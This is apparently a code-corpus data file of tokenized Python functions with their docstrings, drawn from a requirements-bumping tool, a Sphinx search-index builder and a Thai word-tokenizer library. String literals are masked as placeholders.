{"signature": "@classmethod<EOL><INDENT>def requirements_for_changes(self, changes):<DEDENT>", "body": "requirements = []<EOL>reqs_set = set()<EOL>if isinstance(changes, str):<EOL><INDENT>changes = changes.split('<STR_LIT:\\n>')<EOL><DEDENT>if not changes or changes[<NUM_LIT:0>].startswith('<STR_LIT:->'):<EOL><INDENT>return requirements<EOL><DEDENT>for line in changes:<EOL><INDENT>line = line.strip('<STR_LIT>')<EOL>if not line:<EOL><INDENT>continue<EOL><DEDENT>match = IS_REQUIREMENTS_RE2.search(line)  <EOL>if match:<EOL><INDENT>for match in REQUIREMENTS_RE.findall(match.group(<NUM_LIT:1>)):<EOL><INDENT>if match[<NUM_LIT:1>]:<EOL><INDENT>version = '<STR_LIT>' + match[<NUM_LIT:2>] if match[<NUM_LIT:1>].startswith('<STR_LIT>') else match[<NUM_LIT:1>]<EOL>req_str = match[<NUM_LIT:0>] + version<EOL><DEDENT>else:<EOL><INDENT>req_str = match[<NUM_LIT:0>]<EOL><DEDENT>if req_str not in reqs_set:<EOL><INDENT>reqs_set.add(req_str)<EOL>try:<EOL><INDENT>requirements.append(pkg_resources.Requirement.parse(req_str))<EOL><DEDENT>except Exception as e:<EOL><INDENT>log.warn('<STR_LIT>', req_str, e)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return requirements<EOL>", "docstring": "Parse changes for requirements\n\n:param list changes:", "id": "f1794:c4:m1"}
{"signature": "@classmethod<EOL><INDENT>def likes(cls, target):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Check if this bumper likes the target.", "id": "f1794:c4:m4"}
{"signature": "@classmethod<EOL><INDENT>def bump_message(self, bumps, include_changes=False):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Compose a bump message for the given bumps\n\n:param list bumps: List of :class:`Bump` instances\n:param bool include_changes: Indicate if the message should include detailed changes.", "id": "f1794:c4:m5"}
{"signature": "def requirements(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Return a list of existing requirements (as :class:`pkg_resources.Requirement`)", "id": "f1794:c4:m6"}
{"signature": "def update_requirements(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Update/persist requirements from `self.bumps`", "id": "f1794:c4:m7"}
{"signature": "def _package_changes(self, name, current_version, new_version):", "body": "raise NotImplementedError<EOL>", "docstring": "List of changes for package name from current_version to new_version, in descending order.\n\n:param str name: Name of package\n:param current_version: Current version\n:param new_version: New version. It is guaranteed to be higher than current version.", "id": "f1794:c4:m8"}
{"signature": "def all_package_versions(self, name):", "body": "raise NotImplementedError<EOL>", "docstring": "List of all versions, in descending order, for the given package name.", "id": "f1794:c4:m9"}
{"signature": "def should_pin(self):", "body": "return False<EOL>", "docstring": "Should requirement be pinned? This should be True for leaf products.", "id": "f1794:c4:m11"}
{"signature": "def package_changes(self, name, current_version, new_version):", "body": "if pkg_resources.parse_version(current_version) > pkg_resources.parse_version(new_version):<EOL><INDENT>downgrade_sign = '<STR_LIT>'<EOL>(current_version, new_version) = (new_version, current_version)<EOL><DEDENT>else:<EOL><INDENT>downgrade_sign = None<EOL><DEDENT>changes = self._package_changes(name, current_version, new_version)<EOL>if changes and downgrade_sign:<EOL><INDENT>changes = [downgrade_sign + c for c in changes]<EOL><DEDENT>return changes<EOL>", "docstring": "List of changes for package name from current_version to new_version, in descending order.\nIf current version is higher than new version (downgrade), then a minus sign will be prefixed to each change.", "id": "f1794:c4:m12"}
{"signature": "def _bump(self, existing_req=None, bump_reqs=None):", "body": "if existing_req or bump_reqs and any(r.required for r in bump_reqs):<EOL><INDENT>name = existing_req and existing_req.project_name or bump_reqs[<NUM_LIT:0>].project_name<EOL>log.info('<STR_LIT>', name)<EOL>bump = current_version = new_version = None<EOL>if bump_reqs:<EOL><INDENT>if self.should_pin() and (len(bump_reqs) > <NUM_LIT:1> or bump_reqs[<NUM_LIT:0>] and<EOL>bump_reqs[<NUM_LIT:0>].specs and bump_reqs[<NUM_LIT:0>].specs[<NUM_LIT:0>][<NUM_LIT:0>] != '<STR_LIT>'):<EOL><INDENT>log.debug('<STR_LIT>', bump_reqs)<EOL>new_version = self.latest_version_for_requirements(bump_reqs)<EOL>current_version = (existing_req and existing_req.specs and existing_req.specs[<NUM_LIT:0>][<NUM_LIT:0>] == '<STR_LIT>' and<EOL>existing_req.specs[<NUM_LIT:0>][<NUM_LIT:1>])<EOL>if current_version == new_version:<EOL><INDENT>return None<EOL><DEDENT>bump = Bump(name, ('<STR_LIT>', new_version))<EOL><DEDENT>elif len(bump_reqs) > <NUM_LIT:1>:<EOL><INDENT>raise BumpAccident('<STR_LIT>' % (<EOL>name, '<STR_LIT:U+002CU+0020>'.join(str(r) for r in bump_reqs)))<EOL><DEDENT>elif bump_reqs[<NUM_LIT:0>].specs or not (existing_req or self.should_pin() or bump_reqs[<NUM_LIT:0>].specs):<EOL><INDENT>log.debug('<STR_LIT>', bump_reqs)<EOL>latest_version = self.latest_version_for_requirements(bump_reqs)<EOL>new_version = (bump_reqs[<NUM_LIT:0>].specs and bump_reqs[<NUM_LIT:0>].specs[<NUM_LIT:0>][<NUM_LIT:0>] == '<STR_LIT>' and<EOL>bump_reqs[<NUM_LIT:0>].specs[<NUM_LIT:0>][<NUM_LIT:1>] or latest_version)<EOL>current_version = (existing_req and existing_req.specs and existing_req.specs[<NUM_LIT:0>][<NUM_LIT:0>] == '<STR_LIT>' and<EOL>existing_req.specs[<NUM_LIT:0>][<NUM_LIT:1>])<EOL>if current_version == new_version:<EOL><INDENT>return None<EOL><DEDENT>if len(bump_reqs[<NUM_LIT:0>].specs) > <NUM_LIT:1>:<EOL><INDENT>version = ('<STR_LIT:U+002C>'.join(s[<NUM_LIT:0>] + s[<NUM_LIT:1>] for s in bump_reqs[<NUM_LIT:0>].specs),)<EOL><DEDENT>elif bump_reqs[<NUM_LIT:0>].specs:<EOL><INDENT>version = bump_reqs[<NUM_LIT:0>].specs[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>version = None<EOL><DEDENT>bump = Bump(name, version)<EOL><DEDENT><DEDENT>if not bump and (existing_req and existing_req.specs and existing_req.specs[<NUM_LIT:0>][<NUM_LIT:0>] == '<STR_LIT>' or<EOL>self.should_pin() and not existing_req):<EOL><INDENT>log.debug('<STR_LIT>', bump_reqs or name)<EOL>current_version = existing_req and existing_req.specs[<NUM_LIT:0>][<NUM_LIT:1>]<EOL>new_version = self.latest_package_version(name)<EOL>if current_version == new_version:<EOL><INDENT>return None<EOL><DEDENT>if not new_version:<EOL><INDENT>raise BumpAccident('<STR_LIT>' % name)<EOL><DEDENT>bump = Bump(name, ('<STR_LIT>', new_version))<EOL><DEDENT>if bump and current_version and new_version and self.detail:<EOL><INDENT>changes = self.package_changes(bump.name, current_version, new_version)<EOL>bump.changes.extend(changes)<EOL>if self.should_pin():<EOL><INDENT>bump.require(self.requirements_for_changes(changes))<EOL><DEDENT><DEDENT>if bump:<EOL><INDENT>log.debug('<STR_LIT>', bump)<EOL>if bump.requirements:<EOL><INDENT>log.info('<STR_LIT>',<EOL>bump.name, '<STR_LIT:U+002CU+0020>'.join(sorted(str(r) for r in bump.requirements)))<EOL><DEDENT><DEDENT>return bump if str(bump) != str(existing_req) else None<EOL><DEDENT>", "docstring": "Bump an existing requirement to the desired requirement if any.\nSubclass can override this `_bump` method to change how each requirement is bumped.\n\nBR = Bump to Requested Version\nBL = Bump to Latest Version\nBLR = Bump to Latest Version per Requested Requirement\nBROL = Bump to Requested Version or Latest (if Pin)\nN = No Bump\nERR = Error\nC = Version Conflict\n\nPin case \"requires=\" will be required.\nFilter case \"requires=\" will be:\n   1) From user = Required\n   2) From bump = bump/require if existing = One, otherwise print warning.\n\nFilter Case::\n    Bump:    None  Any  One  Many\nExisting:\n     None    N     N    N    N\n      Any    N     N    BR   BR\n      One    BL    BL   BR   BR\n     Many    N     N    BR   BR\n\nPin Case::\n    Bump:    None  Any  One  Many\nExisting:\n     None    N     N    N    N\n      Any    N     N    BR   BLR*\n      One    BL    BL   BR   BLR*\n     Many    N     N    BR   BLR*\n\nAdd/Require Case::\n    Bump:    None  Any  One  Many\nExisting:\n     None    N     BROL BROL BROL\n\n:param pkg_resources.Requirement existing_req: Existing requirement if any\n:param list bump_reqs: List of `BumpRequirement`\n:return Bump: Either a :class:`Bump` instance or None\n:raise BumpAccident:", "id": "f1794:c4:m14"}
{"signature": "def bump(self, bump_reqs=None, **kwargs):", "body": "bumps = {}<EOL>for existing_req in sorted(self.requirements(), key=lambda r: r.project_name):<EOL><INDENT>if bump_reqs and existing_req.project_name not in bump_reqs:<EOL><INDENT>continue<EOL><DEDENT>bump_reqs.check(existing_req)<EOL>try:<EOL><INDENT>bump = self._bump(existing_req, bump_reqs.get(existing_req.project_name))<EOL>if bump:<EOL><INDENT>bumps[bump.name] = bump<EOL>bump_reqs.check(bump)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>if bump_reqs and bump_reqs.get(existing_req.project_name) and all(<EOL>r.required_by is None for r in bump_reqs.get(existing_req.project_name)):<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>log.warn(e)<EOL><DEDENT><DEDENT><DEDENT>for reqs in bump_reqs.required_requirements().values():<EOL><INDENT>name = reqs[<NUM_LIT:0>].project_name<EOL>if name not in bumps and self.should_add(name):<EOL><INDENT>try:<EOL><INDENT>bump = self._bump(None, reqs)<EOL>if bump:<EOL><INDENT>bumps[bump.name] = bump<EOL>bump_reqs.check(bump)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>if all(r.required_by is None for r in reqs):<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>log.warn(e)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>self.bumps.update(bumps.values())<EOL>return bumps.values()<EOL>", "docstring": "Bump dependencies using given requirements.\n\n:param RequirementsManager bump_reqs: Bump requirements manager\n:param dict kwargs: Additional args from argparse. Some bumpers accept user options, and some not.\n:return: List of :class:`Bump` changes made.", "id": "f1794:c4:m15"}
{"signature": "def reverse(self):", "body": "if self._original_target_content:<EOL><INDENT>with open(self.target, '<STR_LIT:w>') as fp:<EOL><INDENT>fp.write(self._original_target_content)<EOL><DEDENT><DEDENT>", "docstring": "Restore content in target file to be before any changes", "id": "f1794:c4:m16"}
{"signature": "def should_add(self, name):", "body": "return True<EOL>", "docstring": "Should this bumper try to add the given name if requested.", "id": "f1794:c5:m3"}
{"signature": "def bump():", "body": "parser = argparse.ArgumentParser(description=bump.__doc__)<EOL>parser.add_argument('<STR_LIT>', nargs='<STR_LIT:*>', help=\"\"\"<STR_LIT>\"\"\")<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>', help='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', action='<STR_LIT:store_true>', help='<STR_LIT>')<EOL>args = parser.parse_args()<EOL>targets = [args.file] if args.file else ['<STR_LIT>', '<STR_LIT>']<EOL>level = logging.DEBUG if args.debug else logging.INFO<EOL>logging.basicConfig(level=level, format='<STR_LIT>')<EOL>try:<EOL><INDENT>bumper = BumperDriver(targets, full_throttle=args.force, detail=args.detail, test_drive=args.dry_run)<EOL>bumper.bump(args.names, required=args.add, show_detail=args.detail)<EOL><DEDENT>except Exception as e:<EOL><INDENT>if args.debug:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>log.error(e)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>", "docstring": "CLI entry point to bump requirements in requirements.txt or pinned.txt", "id": "f1795:m0"}
{"signature": "def bump(self, filter_requirements, required=False, show_summary=True, show_detail=False, **kwargs):", "body": "found_targets = [target for target in self.targets if os.path.exists(target)]<EOL>if not found_targets:<EOL><INDENT>raise BumpAccident('<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join(self.targets))<EOL><DEDENT>bump_reqs = RequirementsManager()<EOL>if filter_requirements:<EOL><INDENT>requirements = parse_requirements(filter_requirements)<EOL>bump_reqs.add(requirements, required=required)<EOL><DEDENT>try:<EOL><INDENT>for target in found_targets:<EOL><INDENT>log.debug('<STR_LIT>', target)<EOL>target_bumpers = []<EOL>target_bump_reqs = RequirementsManager(bump_reqs)<EOL>loops = <NUM_LIT:0><EOL>while True:<EOL><INDENT>loops += <NUM_LIT:1><EOL>if loops > <NUM_LIT:5>:<EOL><INDENT>log.debug('<STR_LIT>')<EOL>break<EOL><DEDENT>if not target_bumpers:<EOL><INDENT>target_bumpers = [model(target, detail=self.detail, test_drive=self.test_drive)<EOL>for model in self.bumper_models if model.likes(target)]<EOL>if not target_bumpers:<EOL><INDENT>log.debug('<STR_LIT>', target, self.default_model)<EOL>target_bumpers = [self.default_model(target, detail=self.detail,<EOL>test_drive=self.test_drive)]<EOL><DEDENT>self.bumpers.extend(target_bumpers)<EOL><DEDENT>new_target_bump_reqs = RequirementsManager()<EOL>for bumper in target_bumpers:<EOL><INDENT>target_bumps = bumper.bump(target_bump_reqs)<EOL>self.bumps.update(dict((b.name, b) for b in target_bumps))<EOL>for bump in target_bumps:<EOL><INDENT>for new_req in bump.requirements:<EOL><INDENT>if not (bump_reqs.satisfied_by_checked(new_req) or<EOL>target_bump_reqs.satisfied_by_checked(new_req)):<EOL><INDENT>new_target_bump_reqs.add(new_req)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>bump_reqs.matched_name |= target_bump_reqs.matched_name<EOL>bump_reqs.checked.extend(target_bump_reqs.checked)<EOL>if new_target_bump_reqs:<EOL><INDENT>bump_reqs.add(new_target_bump_reqs)<EOL><DEDENT>target_bump_reqs = RequirementsManager(list(<EOL>r for r in new_target_bump_reqs if r.project_name not in self.bumps))<EOL>if not target_bump_reqs:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>if not self.bumpers:<EOL><INDENT>raise BumpAccident('<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join(found_targets))<EOL><DEDENT>if bump_reqs and not bump_reqs.matched_name:<EOL><INDENT>raise BumpAccident('<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join(found_targets))<EOL><DEDENT>if self.bumps:<EOL><INDENT>for bump in self.bumps.values():<EOL><INDENT>bump_reqs.check(bump)<EOL><DEDENT>for reqs in bump_reqs.required_requirements().values():<EOL><INDENT>for req in reqs:<EOL><INDENT>if not self.full_throttle:<EOL><INDENT>use_force = '<STR_LIT>' if req.required_by else '<STR_LIT>'<EOL>raise BumpAccident('<STR_LIT>'<EOL>'<STR_LIT>' % (req, use_force))<EOL><DEDENT><DEDENT><DEDENT>if self.test_drive:<EOL><INDENT>log.info(\"<STR_LIT>\")<EOL><DEDENT>messages = {}<EOL>for bumper in self.bumpers:<EOL><INDENT>if bumper.bumps:<EOL><INDENT>if not self.test_drive:<EOL><INDENT>bumper.update_requirements()<EOL><DEDENT>if self.test_drive or show_summary:<EOL><INDENT>msg = bumper.bump_message(self.test_drive or show_detail)<EOL>if self.test_drive:<EOL><INDENT>print(msg)<EOL><DEDENT>else:<EOL><INDENT>rewords = [('<STR_LIT>', '<STR_LIT>'), ('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>')]<EOL>for word, new_word in rewords:<EOL><INDENT>if msg.startswith(word):<EOL><INDENT>msg = msg.replace(word, new_word, <NUM_LIT:1>)<EOL>break<EOL><DEDENT><DEDENT>log.info(msg)<EOL><DEDENT><DEDENT>messages[bumper.target] = bumper.bump_message(True)<EOL><DEDENT><DEDENT>return messages, self.bumps<EOL><DEDENT>else:<EOL><INDENT>log.info('<STR_LIT>')<EOL>return {}, []<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>if not self.test_drive and self.bumps:<EOL><INDENT>map(lambda b: b.reverse(), self.bumpers)<EOL><DEDENT>raise<EOL><DEDENT>", "docstring": "Bump dependency requirements using filter.\n\n:param list filter_requirements: List of dependency filter requirements.\n:param bool required: Require the filter_requirements to be met (by adding if possible).\n:param bool show_summary: Show summary for each bump made.\n:param bool show_detail: Show detail for each bump made if available.\n:return: Tuple with two elements: Dict of target file to bump message, List of :class:`Bump`\n:raise BumpAccident: for any bump errors", "id": "f1795:c0:m1"}
{"signature": "def reverse(self):", "body": "if not self.test_drive and self.bumps:<EOL><INDENT>map(lambda b: b.reverse(), self.bumpers)<EOL><DEDENT>", "docstring": "Reverse all bumpers", "id": "f1795:c0:m2"}
{"signature": "def _expand_targets(self, targets, base_dir=None):", "body": "all_targets = []<EOL>for target in targets:<EOL><INDENT>target_dirs = [p for p in [base_dir, os.path.dirname(target)] if p]<EOL>target_dir = target_dirs and os.path.join(*target_dirs) or '<STR_LIT>'<EOL>target = os.path.basename(target)<EOL>target_path = os.path.join(target_dir, target)<EOL>if os.path.exists(target_path):<EOL><INDENT>all_targets.append(target_path)<EOL>with open(target_path) as fp:<EOL><INDENT>for line in fp:<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>_, new_target = line.split('<STR_LIT:U+0020>', <NUM_LIT:1>)<EOL>all_targets.extend(self._expand_targets([new_target.strip()], base_dir=target_dir))<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return all_targets<EOL>", "docstring": "Expand targets by looking for '-r' in targets.", "id": "f1795:c0:m3"}
{"signature": "def parse_requirements(requirements, in_file=None):", "body": "try:<EOL><INDENT>return list(pkg_resources.parse_requirements(requirements))<EOL><DEDENT>except Exception as e:<EOL><INDENT>in_file = '<STR_LIT>' % in_file if in_file else '<STR_LIT>'<EOL>raise ValueError('<STR_LIT>'.format(e, in_file))<EOL><DEDENT>", "docstring": "Parse string requirements into list of :class:`pkg_resources.Requirement` instances\n\n:param str requirements: Requirements text to parse\n:param str in_file: File the requirements came from\n:return: List of requirements\n:raises ValueError: if failed to parse", "id": "f1796:m0"}
{"signature": "@classmethod<EOL><INDENT>def package_info(cls, package):<DEDENT>", "body": "if package not in cls.package_info_cache:<EOL><INDENT>package_json_url = '<STR_LIT>' % package<EOL>try:<EOL><INDENT>logging.getLogger('<STR_LIT>').setLevel(logging.WARN)<EOL>response = requests.get(package_json_url)<EOL>response.raise_for_status()<EOL>cls.package_info_cache[package] = simplejson.loads(response.text)<EOL><DEDENT>except Exception as e:<EOL><INDENT>log.debug('<STR_LIT>', package_json_url, e)<EOL>cls.package_info_cache[package] = None<EOL><DEDENT><DEDENT>return cls.package_info_cache[package]<EOL>", "docstring": "All package info for given package", "id": "f1796:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def all_package_versions(package):<DEDENT>", "body": "info = PyPI.package_info(package)<EOL>return info and sorted(info['<STR_LIT>'].keys(), key=lambda x: x.split(), reverse=True) or []<EOL>", "docstring": "All versions for package", "id": "f1796:c0:m2"}
{"signature": "def freeze(self):", "body": "data = super(IndexBuilder, self).freeze()<EOL>try:<EOL><INDENT>base_file_names = data['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>base_file_names = data['<STR_LIT>']<EOL><DEDENT>store = {}<EOL>c = itertools.count()<EOL>for prefix, items in iteritems(data['<STR_LIT>']):<EOL><INDENT>for name, (index, typeindex, _, shortanchor) in iteritems(items):<EOL><INDENT>objtype = data['<STR_LIT>'][typeindex]<EOL>if objtype.startswith('<STR_LIT>'):<EOL><INDENT>split =  name.rsplit('<STR_LIT>', <NUM_LIT:1>)<EOL>if len(split) != <NUM_LIT:2>:<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % str((prefix, name, objtype)))<EOL>continue<EOL><DEDENT>prefix, name = split<EOL>last_prefix = prefix.split('<STR_LIT>')[-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>last_prefix = prefix.split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL><DEDENT>store[next(c)] = {<EOL>'<STR_LIT:filename>': base_file_names[index],<EOL>'<STR_LIT>': objtype,<EOL>'<STR_LIT>': prefix,<EOL>'<STR_LIT>': last_prefix,<EOL>'<STR_LIT:name>': name,<EOL>'<STR_LIT>': shortanchor,<EOL>}<EOL><DEDENT><DEDENT>data.update({'<STR_LIT:store>': store})<EOL>return data<EOL>", "docstring": "Create a usable data structure for serializing.", "id": "f1803:c0:m0"}
{"signature": "def tokenize(text, custom_dict=None):", "body": "global TOKENIZER<EOL>if not TOKENIZER:<EOL><INDENT>TOKENIZER = DeepcutTokenizer()<EOL><DEDENT>return TOKENIZER.tokenize(text, custom_dict=custom_dict)<EOL>", "docstring": "Tokenize given Thai text string\n\nInput\n=====\ntext: str, Thai text string\ncustom_dict: str (or list), path to customized dictionary file\n    It allows the function not to tokenize given dictionary wrongly.\n    The file should contain custom words separated by line.\n    Alternatively, you can provide list of custom words too.\n\nOutput\n======\ntokens: list, list of tokenized words\n\nExample\n=======\n>> deepcut.tokenize('\u0e15\u0e31\u0e14\u0e04\u0e33\u0e44\u0e14\u0e49\u0e14\u0e35\u0e21\u0e32\u0e01')\n>> ['\u0e15\u0e31\u0e14\u0e04\u0e33','\u0e44\u0e14\u0e49','\u0e14\u0e35','\u0e21\u0e32\u0e01']", "id": "f1806:m0"}
{"signature": "def _document_frequency(X):", "body": "if sp.isspmatrix_csr(X):<EOL><INDENT>return np.bincount(X.indices, minlength=X.shape[<NUM_LIT:1>])<EOL><DEDENT>return np.diff(sp.csc_matrix(X, copy=False).indptr)<EOL>", "docstring": "Count the number of non-zero values for each feature in sparse X.", "id": "f1806:m2"}
{"signature": "def _check_stop_list(stop):", "body": "if stop == \"<STR_LIT>\":<EOL><INDENT>return THAI_STOP_WORDS<EOL><DEDENT>elif isinstance(stop, six.string_types):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % stop)<EOL><DEDENT>elif stop is None:<EOL><INDENT>return None<EOL><DEDENT>return frozenset(stop)<EOL>", "docstring": "Check stop words list\nref: https://github.com/scikit-learn/scikit-learn/blob/master/sklearn/feature_extraction/text.py#L87-L95", "id": "f1806:m3"}
{"signature": "def _word_ngrams(self, tokens):", "body": "<EOL>if self.stop_words is not None:<EOL><INDENT>tokens = [w for w in tokens if w not in self.stop_words]<EOL><DEDENT>min_n, max_n = self.ngram_range<EOL>if max_n != <NUM_LIT:1>:<EOL><INDENT>original_tokens = tokens<EOL>if min_n == <NUM_LIT:1>:<EOL><INDENT>tokens = list(original_tokens)<EOL>min_n += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>tokens = []<EOL><DEDENT>n_original_tokens = len(original_tokens)<EOL>tokens_append = tokens.append<EOL>space_join = \"<STR_LIT:U+0020>\".join<EOL>for n in range(min_n,<EOL>min(max_n + <NUM_LIT:1>, n_original_tokens + <NUM_LIT:1>)):<EOL><INDENT>for i in range(n_original_tokens - n + <NUM_LIT:1>):<EOL><INDENT>tokens_append(space_join(original_tokens[i: i + n]))<EOL><DEDENT><DEDENT><DEDENT>return tokens<EOL>", "docstring": "Turn tokens into a tokens of n-grams\n\nref: https://github.com/scikit-learn/scikit-learn/blob/ef5cb84a/sklearn/feature_extraction/text.py#L124-L153", "id": "f1806:c0:m1"}
{"signature": "def _limit_features(self, X, vocabulary,<EOL>high=None, low=None, limit=None):", "body": "if high is None and low is None and limit is None:<EOL><INDENT>return X, set()<EOL><DEDENT>dfs = _document_frequency(X)<EOL>tfs = np.asarray(X.sum(axis=<NUM_LIT:0>)).ravel()<EOL>mask = np.ones(len(dfs), dtype=bool)<EOL>if high is not None:<EOL><INDENT>mask &= dfs <= high<EOL><DEDENT>if low is not None:<EOL><INDENT>mask &= dfs >= low<EOL><DEDENT>if limit is not None and mask.sum() > limit:<EOL><INDENT>mask_inds = (-tfs[mask]).argsort()[:limit]<EOL>new_mask = np.zeros(len(dfs), dtype=bool)<EOL>new_mask[np.where(mask)[<NUM_LIT:0>][mask_inds]] = True<EOL>mask = new_mask<EOL><DEDENT>new_indices = np.cumsum(mask) - <NUM_LIT:1>  <EOL>removed_terms = set()<EOL>for term, old_index in list(vocabulary.items()):<EOL><INDENT>if mask[old_index]:<EOL><INDENT>vocabulary[term] = new_indices[old_index]<EOL><DEDENT>else:<EOL><INDENT>del vocabulary[term]<EOL>removed_terms.add(term)<EOL><DEDENT><DEDENT>kept_indices = np.where(mask)[<NUM_LIT:0>]<EOL>if len(kept_indices) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return X[:, kept_indices], vocabulary, removed_terms<EOL>", "docstring": "Remove too rare or too common features.\n\n        ref: https://github.com/scikit-learn/scikit-learn/blob/ef5cb84a/sklearn/feature_extraction/text.py#L734-L773", "id": "f1806:c0:m2"}
{"signature": "def fit_tranform(self, raw_documents):", "body": "X = self.transform(raw_documents, new_document=True)<EOL>return X<EOL>", "docstring": "Transform given list of raw_documents to document-term matrix in\nsparse CSR format (see scipy)", "id": "f1806:c0:m4"}
{"signature": "def generate_words(files):", "body": "repls = {'<STR_LIT>' : '<STR_LIT>','<STR_LIT>' : '<STR_LIT>','<STR_LIT>': '<STR_LIT>','<STR_LIT>': '<STR_LIT>'}<EOL>words_all = []<EOL>for i, file in enumerate(files):<EOL><INDENT>lines = open(file, '<STR_LIT:r>')<EOL>for line in lines:<EOL><INDENT>line = reduce(lambda a, kv: a.replace(*kv), repls.items(), line)<EOL>words = [word for word in line.split(\"<STR_LIT:|>\") if word is not '<STR_LIT:\\n>']<EOL>words_all.extend(words)<EOL><DEDENT><DEDENT>return words_all<EOL>", "docstring": "Transform list of files to list of words,\nremoving new line character\nand replace name entity '<NE>...</NE>' and abbreviation '<AB>...</AB>' symbol", "id": "f1807:m0"}
{"signature": "def create_char_dataframe(words):", "body": "char_dict = []<EOL>for word in words:<EOL><INDENT>for i, char in enumerate(word):<EOL><INDENT>if i == <NUM_LIT:0>:<EOL><INDENT>char_dict.append({'<STR_LIT>': char,<EOL>'<STR_LIT:type>': CHAR_TYPE_FLATTEN.get(char, '<STR_LIT:o>'),<EOL>'<STR_LIT:target>': True})<EOL><DEDENT>else:<EOL><INDENT>char_dict.append({'<STR_LIT>': char,<EOL>'<STR_LIT:type>': CHAR_TYPE_FLATTEN.get(char, '<STR_LIT:o>'),<EOL>'<STR_LIT:target>': False})<EOL><DEDENT><DEDENT><DEDENT>return pd.DataFrame(char_dict)<EOL>", "docstring": "Give list of input tokenized words,\ncreate dataframe of characters where first character of\nthe word is tagged as 1, otherwise 0\n\nExample\n=======\n['\u0e01\u0e34\u0e19', '\u0e2b\u0e21\u0e14'] to dataframe of\n[{'char': '\u0e01', 'type': ..., 'target': 1}, ...,\n {'char': '\u0e14', 'type': ..., 'target': 0}]", "id": "f1807:m1"}
{"signature": "def generate_best_dataset(best_path, output_path='<STR_LIT>', create_val=False):", "body": "if not os.path.isdir(output_path):<EOL><INDENT>os.mkdir(output_path)<EOL><DEDENT>if not os.path.isdir(os.path.join(output_path, '<STR_LIT:train>')):<EOL><INDENT>os.makedirs(os.path.join(output_path, '<STR_LIT:train>'))<EOL><DEDENT>if not os.path.isdir(os.path.join(output_path, '<STR_LIT:test>')):<EOL><INDENT>os.makedirs(os.path.join(output_path, '<STR_LIT:test>'))<EOL><DEDENT>if not os.path.isdir(os.path.join(output_path, '<STR_LIT>')) and create_val:<EOL><INDENT>os.makedirs(os.path.join(output_path, '<STR_LIT>'))<EOL><DEDENT>for article_type in article_types:<EOL><INDENT>files = glob(os.path.join(best_path, article_type, '<STR_LIT>'))<EOL>files_train, files_test = train_test_split(files, random_state=<NUM_LIT:0>, test_size=<NUM_LIT:0.1>)<EOL>if create_val:<EOL><INDENT>files_train, files_val = train_test_split(files_train, random_state=<NUM_LIT:0>, test_size=<NUM_LIT:0.1>)<EOL>val_words = generate_words(files_val)<EOL>val_df = create_char_dataframe(val_words)<EOL>val_df.to_csv(os.path.join(output_path, '<STR_LIT>', '<STR_LIT>'.format(article_type)), index=False)<EOL><DEDENT>train_words = generate_words(files_train)<EOL>test_words = generate_words(files_test)<EOL>train_df = create_char_dataframe(train_words)<EOL>test_df = create_char_dataframe(test_words)<EOL>train_df.to_csv(os.path.join(output_path, '<STR_LIT:train>', '<STR_LIT>'.format(article_type)), index=False)<EOL>test_df.to_csv(os.path.join(output_path, '<STR_LIT:test>', '<STR_LIT>'.format(article_type)), index=False)<EOL>print(\"<STR_LIT>\".format(article_type))<EOL><DEDENT>", "docstring": "Generate CSV file for training and testing data\n\nInput\n=====\nbest_path: str, path to BEST folder which contains unzipped subfolder\n    'article', 'encyclopedia', 'news', 'novel'\n\ncleaned_data: str, path to output folder, the cleaned data will be saved\n    in the given folder name where training set will be stored in `train` folder\n    and testing set will be stored on `test` folder\n\ncreate_val: boolean, True or False, if True, divide training set into training set and\n    validation set in `val` folder", "id": "f1807:m2"}
